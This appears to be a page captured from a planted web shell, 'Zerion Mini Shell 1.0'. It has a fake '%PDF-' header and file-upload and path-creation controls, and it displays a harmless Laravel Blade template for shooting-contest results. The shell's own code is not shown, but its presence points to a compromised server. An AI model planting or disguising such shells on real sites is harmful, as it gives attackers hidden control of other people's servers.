%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/loslex/test/resources/views/contests/results/
Upload File :
Create Path :
Current File : //www/loslex/test/resources/views/contests/results/detail.blade.php

<x-app-layout>
    @push('scripts')
        <script>
            function HideStage(s) {
                $(".stage-detail-" + s).hide();
                $(".stage-detail-" + s + "-collapsed").show();
            }

            function ShowStage(s) {
                $(".stage-detail-" + s + "-collapsed").hide();
                $(".stage-detail-" + s).show();
            }

            function rowHighlight(a) {
                $(a).hasClass("act") ? $(a).removeClass("act") : $(a).addClass("act")
            }

            function rowMark(a) {
                $(a).hasClass("marked") ? $(a).removeClass("marked") : $(a).addClass("marked")
            }
        </script>
    @endpush

    <x-slot:contentwidth>max-w-full</x-slot>
    <x-slot name="pagetitle">{{ __('Detailed results') }} - {{ $name }}</x-slot>
    <x-slot name="header"><h2 class="font-semibold text-xl text-gray-800 dark:text-gray-200 leading-tight">{{ $name }} - {{ $date->format("d.m.Y") }}</h2></x-slot>

    <div class="w-fit" id="resultsTabContents" x-data="{ pin : true }">
        <!--Tabs navigation-->
        <ul class="list-none w-full flex flex-wrap text-sm font-medium text-center text-gray-500 border-b border-gray-200 dark:border-gray-700 dark:text-gray-400" data-tabs-toggle="#resultsTabContents" role="tablist">
            @foreach($divisions as $division)
            <li class="mr-2" role="presentation">
                <button class="inline-block text-gray-500 hover:text-gray-600 hover:border-gray-300 rounded-t-lg py-4 px-4 text-sm font-medium text-center border-transparent border-b-2 dark:text-gray-400 hover:dark:border-gray-600 dark:hover:text-gray-300" id="division-{{ $division->name }}-tab" data-tabs-target="#division-{{ $division->name }}" type="button" role="tab" aria-controls="division-{{ $division->name }}" aria-selected="false">{{ __("contest." . $division->name) }}</button>
            </li>
            @endforeach
        </ul>

        <!--Tabs content-->
        @foreach($divisions as $division)
            <div class="hidden p-4 rounded-lg" id="division-{{ $division->name }}" role="tabpanel" aria-labelledby="division-{{ $division->name }}-tab">
                <table>
                    <thead>
                        <tr>
                            <td rowspan="2" class="align-middle font-semibold text-sm text-center result-header"><span class="fa-solid fa-trophy"></span></td>
                            @if($division->name == "All")
                                <td rowspan="2" class="align-middle font-semibold text-sm result-header">{{ __("Division") }}</td>
                            @endif
                            <td title="{{__('Click to pin/unpin')}}" rowspan="2" :class="pin ? 'sticky left-0' : ''" class="align-middle font-semibold text-sm result-header cursor-pointer select-none" @click="pin = !pin">
                                {{ __("Name") }}<span x-show="pin" class="ml-2 text-xs fa-solid fa-thumbtack"></span>
                            </td>
                            <td rowspan="2" class="align-middle font-semibold text-sm result-header">{{ __("Total %") }}</td>

                            @for($i = 1; $i <= $numStages; $i++)
                                @php
                                    $stageDetailClass = "stage-detail-{$stages[$i]->id}";
                                    $resOddEven = ($i % 2 == 0) ? "result-even" : "result-odd";
                                @endphp
                                <td colspan="{{ $stages[$i]->span }}" class="{{ $stageDetailClass }} {{ $resOddEven }} font-semibold whitespace-nowrap" style="text-align: center; display: table-cell;" onclick="HideStage({{ $stages[$i]->id }});" title="{{ __('Hide this stage') }}">
                                    <span style="cursor:pointer">Stage {{ $i }}</span>
                                </td>
                                <td class="{{ $stageDetailClass }}-collapsed font-semibold whitespace-nowrap {{ $resOddEven }}" onclick="ShowStage({{ $stages[$i]->id }});" title="{{ __('Display results for this stage') }}" style="display: none;"><span style="cursor:pointer">Stage {{ $i }}</span></td>
                                <td style="width: 10px;"></td>
                            @endfor
                        </tr>
                        <tr class="border-gray-400 border-b">
                            @for($i = 1; $i <= $numStages; $i++)
                                @php
                                    $stageDetailClass = "stage-detail-{$stages[$i]->id}";
                                    $resOddEven = ($i % 2 == 0) ? "result-even" : "result-odd";
                                @endphp
                                <td class="text-center text-sm {{ $resOddEven }} {{ $stageDetailClass }}"><span class="fa-solid fa-stopwatch"></span></td>
                                @if($stages[$i]->strings > 1)
                                    @for($j = 1; $j <= $stages[$i]->strings; $j++)
                                        <td class="font-semibold text-sm {{ $resOddEven }} {{ $stageDetailClass }}">T{{ $j }}</td>
                                    @endfor
                                @endif
                                <td class="text-center font-semibold text-sm {{ $resOddEven }} {{ $stageDetailClass }}">PP</td>
                                <td class="text-center font-semibold text-sm {{ $resOddEven }} {{ $stageDetailClass }}">A</td>
                                <td class="text-center font-semibold text-sm {{ $resOddEven }} {{ $stageDetailClass }}">C</td>
                                <td class="text-center font-semibold text-sm {{ $resOddEven }} {{ $stageDetailClass }}">D</td>
                                <td class="text-center font-semibold text-sm {{ $resOddEven }} {{ $stageDetailClass }} whitespace-nowrap">M-T</td>
                                <td class="text-center font-semibold text-sm {{ $resOddEven }} {{ $stageDetailClass }} whitespace-nowrap">M-P</td>
                                <td class="text-center font-semibold text-sm {{ $resOddEven }} {{ $stageDetailClass }} whitespace-nowrap">N-T</td>
                                <td class="text-center font-semibold text-sm {{ $resOddEven }} {{ $stageDetailClass }}">proc</td>
                                <td class="text-center text-sm {{ $resOddEven }} {{ $stageDetailClass }} text-center"><span class="fa-solid fa-stopwatch"></span></td>
                                <td class="text-center font-semibold text-sm {{ $resOddEven }} {{ $stageDetailClass }} text-center">%</td>

                                <td class="text-center font-semibold text-sm {{ $resOddEven }} {{ $stageDetailClass }}-collapsed" style="display: none;">%</td>
                                <td style="width: 10px;"></td>
                            @endfor
                        </tr>
                    </thead>
                    <tbody>
                        @php $no = 1; @endphp
                        @foreach($division->shooters as $sh)
                            <tr id="shooter-{{ $sh->registrationId }}" onmouseover="rowHighlight(this);" onmouseout="rowHighlight(this);" onclick="rowMark(this);">
                                <td class="text-center result-header">{{ !($sh->notcomp || $sh->dq) ? $no++ : ($sh->dq ? __("DQ") : __("NC")) }}</td>
                                @if($division->name == "All")
                                    <td class="result-header">{{ $sh->origDivision }}</td>
                                @endif
                                <td :class="pin ? 'sticky left-0' : ''" class="whitespace-nowrap result-header">{{ $sh->name }}</td>
                                {{-- <td class="text-xxs italic">{{ $sh->username }}</td> --}}
                                <td @class(['text-center', 'result-header', 'result-best' => ($sh->percent == 100)])>{{ $sh->percent }}%</td>
                                @for($i = 1; $i <= $numStages; $i++)
                                    @php
                                        $stageDetailClass = "stage-detail-{$stages[$i]->id}";
                                        $resOddEven = ($i % 2) ? "result-odd" : "result-even";
                                    @endphp
                                    <td class="{{ $resOddEven }} {{ $stageDetailClass }}">{{ $sh->stages[$i]->time }}</td>
                                    @if($stages[$i]->strings > 1)
                                        @for($j = 1; $j <= $stages[$i]->strings; $j++)
                                            <td class="{{ $resOddEven }} {{ $stageDetailClass }}">{{ (isset($sh->stageStrings[$i][$j]) ? $sh->stageStrings[$i][$j] : "0.00") }}</td>
                                        @endfor
                                    @endif
                                    <td class="text-center {{ $resOddEven }} {{ $stageDetailClass }}">{{ $sh->stages[$i]->popper }}</td>
                                    <td class="text-center {{ $resOddEven }} {{ $stageDetailClass }}">{{ $sh->stages[$i]->alpha }}</td>
                                    <td class="text-center {{ $resOddEven }} {{ $stageDetailClass }}">{{ $sh->stages[$i]->charlie }}</td>
                                    <td class="text-center {{ $resOddEven }} {{ $stageDetailClass }}">{{ $sh->stages[$i]->delta }}</td>
                                    <td class="text-center {{ $resOddEven }} {{ $stageDetailClass }}">{{ $sh->stages[$i]->miss }}</td>
                                    <td class="text-center {{ $resOddEven }} {{ $stageDetailClass }}">{{ $sh->stages[$i]->misspopper }}</td>
                                    <td class="text-center {{ $resOddEven }} {{ $stageDetailClass }}">{{ $sh->stages[$i]->noshoot }}</td>
                                    <td class="text-center {{ $resOddEven }} {{ $stageDetailClass }}">{{ $sh->stages[$i]->proc }}</td>
                                    <td class="text-center {{ $resOddEven }} {{ $stageDetailClass }}">{{ $sh->stages[$i]->total_time }}</td>
                                    <td @class(['text-center', $resOddEven, $stageDetailClass, 'result-best' => $sh->stages[$i]->stage_percent == 100])>{{ number_format($sh->stages[$i]->stage_percent, 2) }}</td>

                                    <td @class([ $resOddEven, $stageDetailClass . '-collapsed', 'text-center', 'result-best' => $sh->stages[$i]->stage_percent == 100]) style="display: none;"><span title="{{ $sh->stages[$i]->total_time }} s">{{ number_format($sh->stages[$i]->stage_percent, 2) }}</span></td>
                                    <td style="width: 10px;"></td>
                                @endfor
                            </tr>
                        @endforeach
                    </tbody>
                </table>
            </div>
        @endforeach
    </div>
</x-app-layout>

Zerion Mini Shell 1.0